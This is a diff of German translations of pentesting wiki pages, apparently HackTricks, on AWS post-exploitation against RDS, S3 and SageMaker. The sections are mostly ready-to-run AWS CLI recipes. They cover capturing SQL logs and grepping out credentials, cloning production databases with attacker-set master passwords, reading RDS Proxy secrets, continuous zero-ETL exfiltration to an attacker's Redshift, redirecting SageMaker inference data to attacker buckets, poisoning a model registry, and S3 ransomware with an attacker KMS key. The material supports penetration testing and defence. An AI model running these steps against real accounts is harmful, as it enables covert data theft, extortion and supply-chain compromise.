 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Beweismaterial (geschwärzt):
+Beispielbelege (geschwärzt):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
-Bereinigung
-- Setze Parameter auf Standardwerte zurück und starte neu, falls erforderlich:
+Aufräumen
+- Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Auswirkung: Post-exploitation Datenzugriff durch Erfassen aller application SQL statements über AWS APIs (keine DB creds), möglicherweise leaking von secrets, JWTs und PII.
+Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (no DB creds), potenziell leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-RDS read replicas missbrauchen, um out-of-band read access zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann von einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primary nicht) und optional die Replica öffentlich zugänglich machen, um Daten zu exfiltrieren.
+RDS read replicas missbrauchen, um out-of-band Lesezugriff zu erhalten, ohne die Credentials der primary instance zu berühren. Ein Angreifer kann eine read replica von einer production instance erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und die replica optional öffentlich exponieren, um Daten zu exfiltrieren.
 
-Erforderliche Berechtigungen (Minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (falls öffentlich exponiert)
 
-Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da die Primary unberührt bleibt und die Replikation fortläuft.
+Auswirkung: Read-only access auf Produktionsdaten über eine replica mit attacker-controlled credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation fortgesetzt wird.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # Optional: promote for persistence
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
-Beispielbelege (MySQL):
-- Replica-DB-Status: `available`, Lese-Replikation: `replicating`
-- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt.
+Beispielhafte Hinweise (MySQL):
+- Replica-DB-Status: `available`, Lesereplikation: `replicating`
+- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den Lesezugriff auf die Replica bestätigt.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Anschließend die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz anzufassen. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachung, die sich nur auf die Quelle konzentriert.
+RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Anschließend die Master-Zugangsdaten der green-Umgebung zurücksetzen, um auf die Daten zuzugreifen, ohne die blue (prod)-Instanz zu berühren. Das ist unauffälliger als die Freigabe von Snapshots und umgeht häufig Monitoring, das sich nur auf die Quelle konzentriert.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impact: Nur-Lese, aber voller Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenausleitung und Offline-Analyse.
+Auswirkung: Nur-Lesezugriff, jedoch vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktionsumgebung, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.
 
 
-### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
+### Out-of-band SQL via RDS Data API durch Aktivieren des HTTP-Endpunkts + Zurücksetzen des Master-Passworts
 
-Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Ziel-Cluster zu aktivieren, das master password auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
+Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt in einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
 
-Permissions (minimum):
-- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
+Berechtigungen (mindestens):
+- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
 
-Impact: Umgehung von Netzwerksegmentierung und Exfiltration von Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB.
+Auswirkung: Umgehung der Netzwerksegmentierung und Exfiltration von Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.
 
 <details>
-<summary>End-to-end CLI (Aurora MySQL Beispiel)</summary>
+<summary>End-to-end-CLI (Beispiel: Aurora MySQL)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Hinweise:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
+- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
+- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled False.
 
 
-### DB-Anmeldeinformationen via RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### DB-Anmeldeinformationen über RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dieses secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem wenig aufwendigen Pivot zu DB-Zugangsdaten macht. Falls das secret eine CMK verwendet, können falsch konfigurierte KMS-Rechte auch `kms:Decrypt` erlauben.
+Missbrauche die RDS Proxy-Konfiguration, um das von Secrets Manager verwendete Secret für die Backend-Authentifizierung zu entdecken, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem low-friction Pivot zu DB-Anmeldeinformationen macht. Verwendet das Secret eine CMK, können falsch bemessene KMS-Berechtigungen möglicherweise auch `kms:Decrypt` erlauben.
 
-Benötigte Berechtigungen (mindestens):
+Erforderliche Berechtigungen (mindestens):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` on the referenced SecretArn
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- `secretsmanager:GetSecretValue` für das referenzierte SecretArn
+- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` für diesen Schlüssel
 
-Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
+Impact: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weiteres lateral movement.
 
 Schritte
 ```bash
@@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Lab (minimal zur Reproduktion)
+Lab (minimal zum Reproduzieren)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -473,7 +473,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-Aufräumen (Labor)
+Aufräumen (lab)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -482,18 +482,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
 ```
 ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Missbrauche die Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff.
+Missbrauche die Aurora PostgreSQL zero‑ETL integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den Sie kontrollieren. Mit einer zu großzügigen Redshift resource policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit arbeitende Datenkopie herstellen, ohne DB creds, snapshots oder network exposure.
 
-Permissions needed (minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen)
-- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspielen)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
+- `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
-Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+Getestet in: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
-<summary>1) Erstelle Redshift Serverless namespace + workgroup</summary>
+<summary>1) Redshift Serverless namespace + workgroup erstellen</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren)</summary>
+<summary>3) Erstelle Aurora PostgreSQL-Cluster (Data API und logische Replikation aktivieren)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) Erstelle die zero‑ETL-Integration von RDS</summary>
+<summary>4) Erstelle die zero‑ETL-Integration aus RDS</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Beobachtete Hinweise im Test:
+Im Test beobachtete Hinweise:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung.
-- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob).
+- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
+- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
 
-Auswirkung: Kontinuierliche nahezu Echtzeit-Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, kontrolliert vom Angreifer, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugriff auf den Quell-Cluster.
+Auswirkung: Kontinuierliche near‑real‑time exfiltration ausgewählter Aurora PostgreSQL-Tabellen in ein vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf das Quell-Cluster.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Sensible Informationen
-
-Manchmal können Sie sensible Informationen in lesbaren Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse.
-
-### Pivoting
-
-Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
-Zum Beispiel könnte **airflow** **DAGs** **Code** dort speichern, oder **Webseiten** könnten direkt von S3 bereitgestellt werden. Ein Angreifer mit Schreibberechtigungen könnte den **Code** aus dem Bucket **modifizieren**, um zu anderen Plattformen zu **pivotieren** oder **Konten zu übernehmen**, indem er JS-Dateien ändert.
-
-### S3 Ransomware
-
-In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) Schlüssel in seinem eigenen AWS-Konto** oder einem anderen kompromittierten Konto. Dann macht er diesen **Schlüssel für jeden auf der Welt zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem Schlüssel verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
-
-Der Angreifer identifiziert einen Ziel-**S3-Bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden anwendet. Dies könnte auf eine schlechte Bucket-Konfiguration zurückzuführen sein, die ihn öffentlich macht, oder der Angreifer erhält Zugriff auf die AWS-Umgebung selbst. Der Angreifer zielt typischerweise auf Buckets ab, die sensible Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsinformationen (PHI), Protokolle, Backups und mehr enthalten.
-
-Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA delete) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA delete aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen.
-
-Mit der AWS-API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS-Schlüssel**. Dies verschlüsselt effektiv die Daten im Bucket, sodass sie ohne den Schlüssel nicht zugänglich sind.
-
-Um zusätzlichen Druck auszuüben, plant der Angreifer die Löschung des KMS-Schlüssels, der im Angriff verwendet wurde. Dies gibt dem Ziel ein 7-tägiges Zeitfenster, um ihre Daten wiederherzustellen, bevor der Schlüssel gelöscht wird und die Daten dauerhaft verloren gehen.
-
-Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien abrufen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
-
-**Für weitere Informationen** [**prüfen Sie die ursprüngliche Forschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Sensitive Informationen
+
+Manchmal findest du sensible Informationen, die in den Buckets lesbar sind. Zum Beispiel terraform state secrets.
+
+### Pivoting
+
+Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
+Zum Beispiel könnte **airflow** dort **DAGs** **code** ablegen, oder **web pages** könnten direkt von S3 ausgeliefert werden. Ein Angreifer mit Schreibrechten könnte den Inhalt des Buckets **modify the code** um auf andere Plattformen zu **pivot**, oder durch das Modifizieren von JS-Dateien **takeover accounts**.
+
+### S3 Ransomware
+
+In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS-Konto** oder in einem anderen kompromittierten Konto. Anschließend macht er diesen **key weltweit für jedermann zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem key verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
+
+Der Angreifer identifiziert einen Ziel-**S3 bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden einsetzt. Dies kann an einer schlechten Bucket-Konfiguration liegen, die ihn öffentlich zugänglich macht, oder daran, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt hat. Typischerweise zielt der Angreifer auf Buckets ab, die sensible Informationen wie personally identifiable information (PII), protected health information (PHI), Logs, Backups und Ähnliches enthalten.
+
+Um zu bestimmen, ob der Bucket für Ransomware angegriffen werden kann, prüft der Angreifer dessen Konfiguration. Dazu gehört zu überprüfen, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Ist Object Versioning nicht aktiviert, kann der Angreifer fortfahren. Ist Object Versioning aktiviert, aber MFA delete deaktiviert, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, diesen spezifischen Bucket mit Ransomware zu belegen.
+
+Mit der AWS API ersetzt der Angreifer **jedes Objekt im Bucket durch eine mit seinem KMS key verschlüsselte Kopie**. Dadurch werden die Daten im Bucket effektiv verschlüsselt und ohne den key unzugänglich.
+
+Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des in der Attacke verwendeten KMS keys. Dadurch erhält das Ziel ein 7-tägiges Zeitfenster, um seine Daten wiederherzustellen, bevor der key gelöscht wird und die Daten dauerhaft verloren sind.
+
+Abschließend kann der Angreifer eine letzte Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen für das Ziel enthält, wie es seine Dateien zurückerlangen kann. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Ziels zu erregen und auf den Ransomware-Angriff hinzuweisen.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Endpoint-Datenabfluss über UpdateEndpoint DataCaptureConfig
+
+Missbrauche die SageMaker-Endpoint-Verwaltung, um vollständiges Anfrage-/Antwort-Capturing in einen vom Angreifer kontrollierten S3-Bucket zu aktivieren, ohne das model oder container zu berühren. Verwendet ein Rolling Update mit null/geringer Ausfallzeit und erfordert lediglich Endpoint-Management-Berechtigungen.
+
+### Anforderungen
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (oder benutze einen bestehenden Bucket im selben Account)
+- Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem gewählten CMK
+- Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
+
+### Schritte
+1) Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Attacker-S3-Ziel für captures vorbereiten
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture auf den attacker bucket aktiviert
+
+Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Neue Konfiguration per rolling update anwenden (minimale/keine Ausfallzeit)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Erzeuge mindestens einen Inference-Call (optional, falls Live-Traffic vorhanden ist)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Captures im attacker S3 validieren
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Auswirkungen
+- Vollständige Exfiltration von Echtzeit-Inference-Anfrage- und Antwort-Payloads (sowie Metadaten) vom Ziel-Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
+- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint-Ebene, was einen unauffälligen Daten-Diebstahlpfad mit minimalen betrieblichen Störungen ermöglicht.
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Missbrauche das Endpoint-Management, um asynchrone Inference-Ausgaben an ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/den Container zu ändern.
+
+### Anforderungen
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Fähigkeit, in das Angreifer-S3-Bucket zu schreiben (über die model execution role oder eine zu großzügige Bucket-Policy)
+- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
+
+### Schritte
+1) Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Erstelle einen Angreifer-Bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Clone EndpointConfig und hijack AsyncInference outputs zum attacker bucket
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Einen asynchronen Aufruf auslösen und prüfen, dass Objekte im S3 des Angreifers landen
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Auswirkungen
+- Leitet asynchrone Inference-Ergebnisse (und Error-Bodies) zu attacker-controlled S3 um und ermöglicht so die verdeckte exfiltration von predictions und potenziell sensiblen vor-/nachverarbeiteten Inputs, die vom container erzeugt werden, ohne Änderung von model code oder image und mit minimaler/keiner Downtime.
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+Wenn ein Angreifer CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein vom Angreifer kontrolliertes container image zeigt und sie sofort als Approved markieren. Viele CI/CD-Pipelines deployen Approved-Modellversionen automatisch zu Endpoints oder training jobs, was zur attacker code execution unter den Execution Roles des Dienstes führt. Eine kontoübergreifende Exposition kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
+
+### Anforderungen
+- IAM (Minimum, um eine bestehende Gruppe zu vergiften): `sagemaker:CreateModelPackage` auf der Ziel-ModelPackageGroup
+- Optional (um eine Gruppe zu erstellen, falls keine existiert): `sagemaker:CreateModelPackageGroup`
+- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
+- Ziel: Eine Model Package Group, die nachgelagerte Automation auf Approved-Versionen überwacht
+
+### Schritte
+1) Region setzen und eine Ziel Model Package Group erstellen/finden
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Dummy-Modell-Daten in S3 vorbereiten
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registriere eine bösartige (hier harmlose) Approved model package version, die auf ein öffentliches AWS DLC-Image verweist
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
